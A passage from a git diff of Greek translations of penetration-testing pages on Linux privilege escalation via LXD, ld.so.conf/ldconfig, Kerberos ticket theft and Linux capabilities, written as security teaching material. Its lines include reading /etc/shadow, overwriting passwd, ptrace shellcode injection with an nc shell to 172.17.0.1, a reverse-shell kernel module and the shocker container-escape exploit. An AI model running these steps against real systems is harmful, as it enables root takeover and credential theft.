αμέσως ένα `chroot` σε αυτόν τον τόμο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. +Μπορείτε να **συνδέσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν όγκο της παρουσίας**, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. ```bash docker image #Get images from the docker service diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index 34c0ed336..32ccb7cb1 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -52,7 +52,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t > Αν βρείτε αυτό το σφάλμα _**Σφάλμα: Δεν βρέθηκε πισίνα αποθήκευσης. Παρακαλώ δημιουργήστε μια νέα πισίνα αποθήκευσης**_\ > Εκτελέστε **`lxd init`** και **επαναλάβετε** το προηγούμενο κομμάτι εντολών -Τέλος, μπορείτε να εκτελέσετε το κοντέινερ και να αποκτήσετε δικαιώματα root: +Τέλος, μπορείτε να εκτελέσετε το κοντέινερ και να αποκτήσετε root: ```bash lxc start privesc lxc exec privesc /bin/sh diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index 7c018a03c..2bd17ec0f 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -47,7 +47,7 @@ puts("Hi"); ### Ελέγξτε το περιβάλλον -Ελέγξτε ότι το _libcustom.so_ φορτώνεται από το _/usr/lib_ και ότι μπορείτε να **εκτελέσετε** το δυαδικό. +Ελέγξτε ότι το _libcustom.so_ **φορτώνεται** από το _/usr/lib_ και ότι μπορείτε να **εκτελέσετε** το δυαδικό. ``` $ ldd sharedvuln linux-vdso.so.1 => (0x00007ffc9a1f7000) @@ -102,7 +102,16 @@ ubuntu > [!NOTE] > Σημειώστε ότι σε αυτό το παράδειγμα δεν έχουμε κλιμακώσει τα δικαιώματα, αλλά τροποποιώντας τις εντολές που εκτελούνται και **περιμένοντας τον root ή άλλο χρήστη με δικαιώματα να εκτελέσει το ευάλωτο δυαδικό αρχείο** θα μπορέσουμε να κλιμακώσουμε τα δικαιώματα. -### Άλλες κακές ρυθμί +### Άλλες κακές ρυθμίσεις - Ίδια ευπάθεια + +Στο προηγούμενο παράδειγμα προσποιηθήκαμε μια κακή ρύθμιση όπου ένας διαχειριστής **έθεσε έναν μη προνομιούχο φάκελο μέσα σε ένα αρχείο ρύθμισης μέσα στο `/etc/ld.so.conf.d/`**.\ +Αλλά υπάρχουν και άλλες κακές ρυθμίσεις που μπορούν να προκαλέσουν την ίδια ευπάθεια, αν έχετε **δικαιώματα εγγραφής** σε κάποιο **αρχείο ρύθμισης** μέσα στο `/etc/ld.so.conf.d`, στον φάκελο `/etc/ld.so.conf.d` ή στο αρχείο `/etc/ld.so.conf` μπορείτε να ρυθμίσετε την ίδια ευπάθεια και να την εκμεταλλευτείτε. + +## Εκμετάλλευση 2 + +**Υποθέστε ότι έχετε δικαιώματα sudo πάνω στο `ldconfig`**.\ +Μπορείτε να υποδείξετε στο `ldconfig` **από πού να φορτώσει τα αρχεία ρύθμισης**, οπότε μπορούμε να εκμεταλλευτούμε αυτό για να κάνουμε το `ldconfig` να φορτώσει αυθαίρετους φακέλους.\ +Έτσι, ας δημιουργήσουμε τα αρχεία και τους φακέλους που χρειάζονται για να φορτώσουμε το "/tmp": ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index c9f22ec57..daa31c2f0 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -51,7 +51,7 @@ export KRB5CCNAME=/tmp/krb5cc_1000 ``` ### CCACHE ticket reuse from keyring -**Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την ένεση σε συνεδρίες και την εκφόρτωση των tickets στο `/tmp`. +**Τα αποθηκευμένα Kerberos tickets στη μνήμη μιας διαδικασίας μπορούν να εξαχθούν**, ιδιαίτερα όταν η προστασία ptrace της μηχανής είναι απενεργοποιημένη (`/proc/sys/kernel/yama/ptrace_scope`). Ένα χρήσιμο εργαλείο για αυτόν τον σκοπό βρίσκεται στο [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), το οποίο διευκολύνει την εξαγωγή με την έγχυση σε συνεδρίες και την εκφόρτωση των tickets στο `/tmp`. Για να ρυθμίσετε και να χρησιμοποιήσετε αυτό το εργαλείο, ακολουθούνται τα παρακάτω βήματα: ```bash @@ -71,7 +71,7 @@ make CONF=Release git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -Ο **κάδος κωδικών πρόσβασης Kerberos μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus. +Η **κρυφή μνήμη διαπιστευτηρίων Kerberos μπορεί να μετατραπεί σε ένα χρησιμοποιήσιμο αρχείο Kerberos CCache** που μπορεί να περαστεί σε Mimikatz/Rubeus. ### Επαναχρησιμοποίηση εισιτηρίου CCACHE από keytab ```bash @@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab Τα κλειδιά λογαριασμού υπηρεσίας, που είναι απαραίτητα για υπηρεσίες που λειτουργούν με δικαιώματα root, αποθηκεύονται με ασφάλεια στα αρχεία **`/etc/krb5.keytab`**. Αυτά τα κλειδιά, παρόμοια με τους κωδικούς πρόσβασης για υπηρεσίες, απαιτούν αυστηρή εμπιστευτικότητα. -Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο είναι σχεδιασμένο να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23. +Για να ελέγξετε το περιεχόμενο του αρχείου keytab, μπορεί να χρησιμοποιηθεί το **`klist`**. Το εργαλείο έχει σχεδιαστεί για να εμφανίζει λεπτομέρειες κλειδιών, συμπεριλαμβανομένου του **NT Hash** για την αυθεντικοποίηση χρηστών, ιδιαίτερα όταν ο τύπος κλειδιού αναγνωρίζεται ως 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index c9c44ca4a..4426739a4 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -5,11 +5,11 @@ ## Linux Capabilities -Οι δυνατότητες του Linux διαιρούν **τα δικαιώματα root σε μικρότερες, διακριτές μονάδες**, επιτρέποντας στις διαδικασίες να έχουν ένα υποσύνολο δικαιωμάτων. Αυτό ελαχιστοποιεί τους κινδύνους, αποφεύγοντας την άσκοπη χορήγηση πλήρων δικαιωμάτων root. +Οι δυνατότητες του Linux διαιρούν **τα δικαιώματα root σε μικρότερες, διακριτές μονάδες**, επιτρέποντας στις διαδικασίες να έχουν ένα υποσύνολο δικαιωμάτων. Αυτό ελαχιστοποιεί τους κινδύνους, αποφεύγοντας την αχρείαστη χορήγηση πλήρων δικαιωμάτων root. ### Το Πρόβλημα: -- Οι κανονικοί χρήστες έχουν περιορισμένα δικαιώματα, επηρεάζοντας εργασίες όπως το άνοιγμα ενός δικτύου socket που απαιτεί πρόσβαση root. +- Οι κανονικοί χρήστες έχουν περιορισμένα δικαιώματα, επηρεάζοντας εργασίες όπως το άνοιγμα ενός δικτυακού socket που απαιτεί πρόσβαση root. ### Σύνολα Δυνατοτήτων: @@ -59,7 +59,7 @@ process.preserve_capabilities_across_execve('CapAmb') ### Δυνατότητες Διαδικασιών -Για να δείτε τις δυνατότητες για μια συγκεκριμένη διαδικασία, χρησιμοποιήστε το αρχείο **status** στον κατάλογο /proc. Καθώς παρέχει περισσότερες λεπτομέρειες, ας περιορίσουμε μόνο τις πληροφορίες που σχετίζονται με τις δυνατότητες του Linux.\ +Για να δείτε τις δυνατότητες για μια συγκεκριμένη διαδικασία, χρησιμοποιήστε το αρχείο **status** στον κατάλογο /proc. Καθώς παρέχει περισσότερες λεπτομέρειες, ας περιορίσουμε μόνο στις πληροφορίες που σχετίζονται με τις δυνατότητες του Linux.\ Σημειώστε ότι για όλες τις εκτελούμενες διαδικασίες, οι πληροφορίες δυνατότητας διατηρούνται ανά νήμα, ενώ για τα εκτελέσιμα αρχεία στο σύστημα αρχείων αποθηκεύονται σε επεκτάσεις χαρακτηριστικών. Μπορείτε να βρείτε τις δυνατότητες που ορίζονται στο /usr/include/linux/capability.h @@ -74,7 +74,7 @@ cat /proc/$$/status | grep Cap #This will print the capabilities of the current - CapInh = Κληρονομούμενες ικανότητες - CapPrm = Επιτρεπόμενες ικανότητες - CapEff = Αποτελεσματικές ικανότητες -- CapBnd = Περιορισμένο σύνολο +- CapBnd = Σύνολο περιορισμών - CapAmb = Σύνολο περιβαλλοντικών ικανοτήτων ```bash #These are the typical capabilities of a root owned process (all) @@ -101,7 +101,7 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` -Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλά χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών. +Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλώς χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών. ```bash getpcaps 1234 ``` @@ -151,15 +151,15 @@ capsh --drop=cap_net_raw --print -- -c "tcpdump" ### Αφαίρεση Δυνατοτήτων -Μπορείτε να αφαιρέσετε δυνατότητες από ένα δυαδικό αρχείο με +Μπορείτε να αφαιρέσετε τις δυνατότητες ενός δυαδικού αρχείου με ```bash setcap -r ``` ## User Capabilities Φαίνεται ότι **είναι δυνατόν να ανατεθούν ικανότητες και σε χρήστες**. Αυτό πιθανώς σημαίνει ότι κάθε διαδικασία που εκτελείται από τον χρήστη θα μπορεί να χρησιμοποιεί τις ικανότητες του χρήστη.\ -Βασισμένο σε [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)και [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)απαιτείται να ρυθμιστούν μερικά αρχεία για να δοθούν σε έναν χρήστη ορισμένες ικανότητες, αλλά αυτό που αναθέτει τις ικανότητες σε κάθε χρήστη θα είναι το `/etc/security/capability.conf`.\ -File example: +Βασισμένο σε [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)και [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)μερικά αρχεία πρέπει να ρυθμιστούν για να δοθούν σε έναν χρήστη ορισμένες ικανότητες, αλλά αυτό που αναθέτει τις ικανότητες σε κάθε χρήστη θα είναι το `/etc/security/capability.conf`.\ +Παράδειγμα αρχείου: ```bash # Simple cap_sys_ptrace developer @@ -175,7 +175,7 @@ cap_sys_admin,22,25 jrsysadmin ``` ## Περιβαλλοντικές Ικανότητες -Με τη σύνταξη του παρακάτω προγράμματος είναι δυνατόν να **δημιουργηθεί ένα bash shell μέσα σε ένα περιβάλλον που παρέχει ικανότητες**. +Με τη σύνθεση του παρακάτω προγράμματος είναι δυνατό να **δημιουργηθεί ένα bash shell μέσα σε ένα περιβάλλον που παρέχει ικανότητες**. ```c:ambient.c /* * Test program for the ambient capabilities @@ -294,7 +294,7 @@ AmbientCapabilities=CAP_NET_BIND_SERVICE ``` ## Δυνατότητες σε κοντέινερ Docker -Από προεπιλογή, το Docker ανα assigns μερικές δυνατότητες στα κοντέινερ. Είναι πολύ εύκολο να ελέγξετε ποιες είναι αυτές οι δυνατότητες εκτελώντας: +Από προεπιλογή, το Docker αναθέτει μερικές δυνατότητες στα κοντέινερ. Είναι πολύ εύκολο να ελέγξετε ποιες είναι αυτές οι δυνατότητες εκτελώντας: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: @@ -311,7 +311,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained ``` ## Privesc/Container Escape -Οι δυνατότητες είναι χρήσιμες όταν **θέλετε να περιορίσετε τις δικές σας διεργασίες μετά την εκτέλεση προνομιακών λειτουργιών** (π.χ. μετά την εγκατάσταση chroot και την δέσμευση σε ένα socket). Ωστόσο, μπορούν να εκμεταλλευτούν περνώντας κακόβουλες εντολές ή παραμέτρους που εκτελούνται ως root. +Οι δυνατότητες είναι χρήσιμες όταν **θέλετε να περιορίσετε τις δικές σας διαδικασίες μετά την εκτέλεση προνομιακών λειτουργιών** (π.χ. μετά την εγκατάσταση chroot και την δέσμευση σε ένα socket). Ωστόσο, μπορούν να εκμεταλλευτούν περνώντας κακόβουλες εντολές ή παραμέτρους που εκτελούνται ως root. Μπορείτε να επιβάλετε δυνατότητες σε προγράμματα χρησιμοποιώντας `setcap`, και να τις ελέγξετε χρησιμοποιώντας `getcap`: ```bash @@ -356,14 +356,14 @@ getcap /usr/sbin/tcpdump ## CAP_SYS_ADMIN -**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** είναι μια εξαιρετικά ισχυρή ικανότητα του Linux, συχνά ισοδύναμη με επίπεδο κοντά στον root λόγω των εκτενών **διοικητικών προνομίων** της, όπως η τοποθέτηση συσκευών ή η χειραγώγηση χαρακτηριστικών του πυρήνα. Ενώ είναι απαραίτητη για κοντέινερ που προσομοιώνουν ολόκληρα συστήματα, **το `CAP_SYS_ADMIN` θέτει σημαντικές προκλήσεις ασφάλειας**, ειδικά σε κοντεϊνερικά περιβάλλοντα, λόγω της δυνατότητάς του για κλιμάκωση προνομίων και συμβιβασμό του συστήματος. Επομένως, η χρήση του απαιτεί αυστηρές αξιολογήσεις ασφάλειας και προσεκτική διαχείριση, με ισχυρή προτίμηση για την απόρριψη αυτής της ικανότητας σε κοντέινερ συγκεκριμένων εφαρμογών για να τηρηθεί η **αρχή της ελάχιστης προνομίας** και να ελαχιστοποιηθεί η επιφάνεια επίθεσης. +**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** είναι μια εξαιρετικά ισχυρή ικανότητα του Linux, συχνά ισοδύναμη με επίπεδο κοντά στον root λόγω των εκτενών **διοικητικών προνομίων** της, όπως η τοποθέτηση συσκευών ή η χειραγώγηση χαρακτηριστικών του πυρήνα. Ενώ είναι απαραίτητη για κοντέινερ που προσομοιώνουν ολόκληρα συστήματα, **το `CAP_SYS_ADMIN` θέτει σημαντικές προκλήσεις ασφάλειας**, ειδικά σε περιβάλλοντα κοντέινερ, λόγω της δυνατότητάς του για κλιμάκωση προνομίων και συμβιβασμό του συστήματος. Επομένως, η χρήση του απαιτεί αυστηρές αξιολογήσεις ασφάλειας και προσεκτική διαχείριση, με ισχυρή προτίμηση για την απόρριψη αυτής της ικανότητας σε κοντέινερ συγκεκριμένων εφαρμογών για να τηρηθεί η **αρχή της ελάχιστης προνομίας** και να ελαχιστοποιηθεί η επιφάνεια επίθεσης. **Παράδειγμα με δυαδικό** ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_admin+ep ``` -Χρησιμοποιώντας python, μπορείτε να τοποθετήσετε ένα τροποποιημένο _passwd_ αρχείο πάνω από το πραγματικό _passwd_ αρχείο: +Χρησιμοποιώντας python, μπορείτε να τοποθετήσετε ένα τροποποιημένο αρχείο _passwd_ πάνω από το πραγματικό αρχείο _passwd_: ```bash cp /etc/passwd ./ #Create a copy of the passwd file openssl passwd -1 -salt abc password #Get hash of "password" @@ -434,7 +434,7 @@ ssh john@172.17.0.1 -p 2222 ``` ## CAP_SYS_PTRACE -**Αυτό σημαίνει ότι μπορείτε να ξεφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε μια διαδικασία που εκτελείται μέσα στον κεντρικό υπολογιστή.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον κεντρικό υπολογιστή, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**. +**Αυτό σημαίνει ότι μπορείτε να ξεφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε κάποια διαδικασία που εκτελείται μέσα στον κεντρικό υπολογιστή.** Για να αποκτήσετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον κεντρικό υπολογιστή, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**. **[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** παρέχει τη δυνατότητα χρήσης λειτουργιών αποσφαλμάτωσης και παρακολούθησης κλήσεων συστήματος που παρέχονται από το `ptrace(2)` και κλήσεις διασύνδεσης μνήμης όπως το `process_vm_readv(2)` και το `process_vm_writev(2)`. Αν και είναι ισχυρό για διαγνωστικούς και παρακολούθησης σκοπούς, εάν το `CAP_SYS_PTRACE` είναι ενεργοποιημένο χωρίς περιοριστικά μέτρα όπως ένα φίλτρο seccomp στο `ptrace(2)`, μπορεί να υπονομεύσει σημαντικά την ασφάλεια του συστήματος. Συγκεκριμένα, μπορεί να εκμεταλλευτεί για να παρακάμψει άλλους περιορισμούς ασφαλείας, ιδίως αυτούς που επιβάλλονται από το seccomp, όπως αποδεικνύεται από [αποδείξεις έννοιας (PoC) όπως αυτή](https://gist.github.com/thejh/8346f47e359adecd1d53). @@ -560,7 +560,7 @@ chunks += f"{byte:02x}" print(f"set {{long}}($rip+{i}) = {chunks}") ``` -Debug a root process with gdb και αντιγράψτε-επικολλήστε τις προηγουμένως παραγόμενες γραμμές gdb: +Αποσφαλμάτωσε μια διαδικασία root με το gdb και αντιγράψε-επικόλλησε τις προηγουμένως παραγόμενες γραμμές gdb: ```bash # Let's write the commands to a file echo 'set {long}($rip+0) = 0x296a909090909090 @@ -612,22 +612,22 @@ uid=0(root) gid=0(root) groups=0(root ``` -Λίστα **διεργασιών** που εκτελούνται στον **ξενιστή** `ps -eaf` +List **processes** running in the **host** `ps -eaf` -1. Πάρε την **αρχιτεκτονική** `uname -m` -2. Βρες ένα **shellcode** για την αρχιτεκτονική ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) -3. Βρες ένα **πρόγραμμα** για να **εισάγεις** το **shellcode** στη μνήμη μιας διεργασίας ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) -4. **Τροποποίησε** το **shellcode** μέσα στο πρόγραμμα και **συμπλήρωσέ** το `gcc inject.c -o inject` -5. **Εισάγεις** το και πάρε το **shell** σου: `./inject 299; nc 172.17.0.1 5600` +1. Get the **architecture** `uname -m` +2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) +3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) +4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` +5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` ## CAP_SYS_MODULE -**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** δίνει τη δυνατότητα σε μια διεργασία να **φορτώνει και να ξεφορτώνει πυρήνα modules (`init_module(2)`, `finit_module(2)` και `delete_module(2)` system calls)**, προσφέροντας άμεση πρόσβαση στις βασικές λειτουργίες του πυρήνα. Αυτή η ικανότητα παρουσιάζει κρίσιμους κινδύνους ασφαλείας, καθώς επιτρέπει την κλιμάκωση προνομίων και την πλήρη παραβίαση του συστήματος επιτρέποντας τροποποιήσεις στον πυρήνα, παρακάμπτοντας όλους τους μηχανισμούς ασφαλείας του Linux, συμπεριλαμβανομένων των Linux Security Modules και της απομόνωσης κοντέινερ. -**Αυτό σημαίνει ότι μπορείς να** **εισάγεις/αφαιρείς πυρήνα modules από/στον πυρήνα του ξενιστή μηχανήματος.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** δίνει τη δυνατότητα σε μια διαδικασία να **φορτώνει και να αφαιρεί** πυρήνα modules (`init_module(2)`, `finit_module(2)` και `delete_module(2)` system calls), προσφέροντας άμεση πρόσβαση στις βασικές λειτουργίες του πυρήνα. Αυτή η ικανότητα παρουσιάζει κρίσιμους κινδύνους ασφαλείας, καθώς επιτρέπει την κλιμάκωση προνομίων και την πλήρη συμβιβασμό του συστήματος επιτρέποντας τροποποιήσεις στον πυρήνα, παρακάμπτοντας έτσι όλους τους μηχανισμούς ασφαλείας του Linux, συμπεριλαμβανομένων των Linux Security Modules και της απομόνωσης κοντέινερ. +**Αυτό σημαίνει ότι μπορείτε να** **εισάγετε/αφαιρέσετε πυρήνα modules από/στον πυρήνα της μηχανής φιλοξενίας.** -**Παράδειγμα με δυαδικό** +**Example with binary** -Στο παρακάτω παράδειγμα το δυαδικό **`python`** έχει αυτή την ικανότητα. +In the following example the binary **`python`** has this capability. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep @@ -733,12 +733,12 @@ insmod reverse-shell.ko #Launch the reverse shell ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του mount namespace της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστής που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραβιάσεις. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του mount namespace της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστής που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραβίαση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). **Αυτό σημαίνει ότι μπορείτε να** **παρακάμψετε τους ελέγχους άδειας ανάγνωσης αρχείων και τους ελέγχους άδειας ανάγνωσης/εκτέλεσης καταλόγων.** -**Παράδειγμα με δυαδικό** +**Παράδειγμα με δυαδικό αρχείο** -Το δυαδικό θα μπορεί να διαβάσει οποιοδήποτε αρχείο. Έτσι, αν ένα αρχείο όπως το tar έχει αυτή την ικανότητα, θα μπορεί να διαβάσει το αρχείο shadow: +Το δυαδικό αρχείο θα μπορεί να διαβάσει οποιοδήποτε αρχείο. Έτσι, αν ένα αρχείο όπως το tar έχει αυτή την ικανότητα, θα μπορεί να διαβάσει το αρχείο shadow: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp @@ -747,7 +747,7 @@ tar -cxf shadow.tar.gz ``` **Παράδειγμα με binary2** -Σε αυτή την περίπτωση ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Για να καταγράψετε τα αρχεία του root μπορείτε να κάνετε: +Σε αυτή την περίπτωση ας υποθέσουμε ότι το **`python`** δυαδικό αρχείο έχει αυτή την ικανότητα. Για να καταγράψετε τα αρχεία του root μπορείτε να κάνετε: ```python import os for r, d, f in os.walk('/root'): @@ -775,9 +775,9 @@ groups=0(root) ``` Μέσα στην προηγούμενη έξοδο μπορείτε να δείτε ότι η δυνατότητα **DAC_READ_SEARCH** είναι ενεργοποιημένη. Ως αποτέλεσμα, το κοντέινερ μπορεί να **debug processes**. -Μπορείτε να μάθετε πώς λειτουργεί η παρακάτω εκμετάλλευση στο [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) αλλά συνοπτικά, η **CAP_DAC_READ_SEARCH** όχι μόνο μας επιτρέπει να διασχίζουμε το σύστημα αρχείων χωρίς ελέγχους δικαιωμάτων, αλλά επίσης αφαιρεί ρητά οποιουσδήποτε ελέγχους για το _**open_by_handle_at(2)**_ και **θα μπορούσε να επιτρέψει στη διαδικασία μας να έχει πρόσβαση σε ευαίσθητα αρχεία που έχουν ανοιχτεί από άλλες διαδικασίες**. +Μπορείτε να μάθετε πώς λειτουργεί η παρακάτω εκμετάλλευση στο [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) αλλά συνοπτικά, η **CAP_DAC_READ_SEARCH** όχι μόνο μας επιτρέπει να διασχίζουμε το σύστημα αρχείων χωρίς ελέγχους αδειών, αλλά επίσης αφαιρεί ρητά οποιουσδήποτε ελέγχους για το _**open_by_handle_at(2)**_ και **θα μπορούσε να επιτρέψει στη διαδικασία μας να έχει πρόσβαση σε ευαίσθητα αρχεία που έχουν ανοιχτεί από άλλες διαδικασίες**. -Η αρχική εκμετάλλευση που εκμεταλλεύεται αυτά τα δικαιώματα για να διαβάσει αρχεία από τον κεντρικό υπολογιστή μπορεί να βρεθεί εδώ: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), η παρακάτω είναι μια **τροποποιημένη έκδοση που σας επιτρέπει να υποδείξετε το αρχείο που θέλετε να διαβάσετε ως πρώτο επιχείρημα και να το αποθηκεύσετε σε ένα αρχείο.** +Η αρχική εκμετάλλευση που εκμεταλλεύεται αυτές τις άδειες για να διαβάσει αρχεία από τον κεντρικό υπολογιστή μπορεί να βρεθεί εδώ: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), η παρακάτω είναι μια **τροποποιημένη έκδοση που σας επιτρέπει να υποδείξετε το αρχείο που θέλετε να διαβάσετε ως πρώτο επιχείρημα και να το αποθηκεύσετε σε ένα αρχείο.** ```c #include #include @@ -928,7 +928,7 @@ return 0; } ``` > [!WARNING] -> Η εκμετάλλευση χρειάζεται να βρει έναν δείκτη σε κάτι που είναι τοποθετημένο στον οικοδεσπότη. Η αρχική εκμετάλλευση χρησιμοποιούσε το αρχείο /.dockerinit και αυτή η τροποποιημένη έκδοση χρησιμοποιεί το /etc/hostname. Αν η εκμετάλλευση δεν λειτουργεί, ίσως χρειαστεί να ορίσετε ένα διαφορετικό αρχείο. Για να 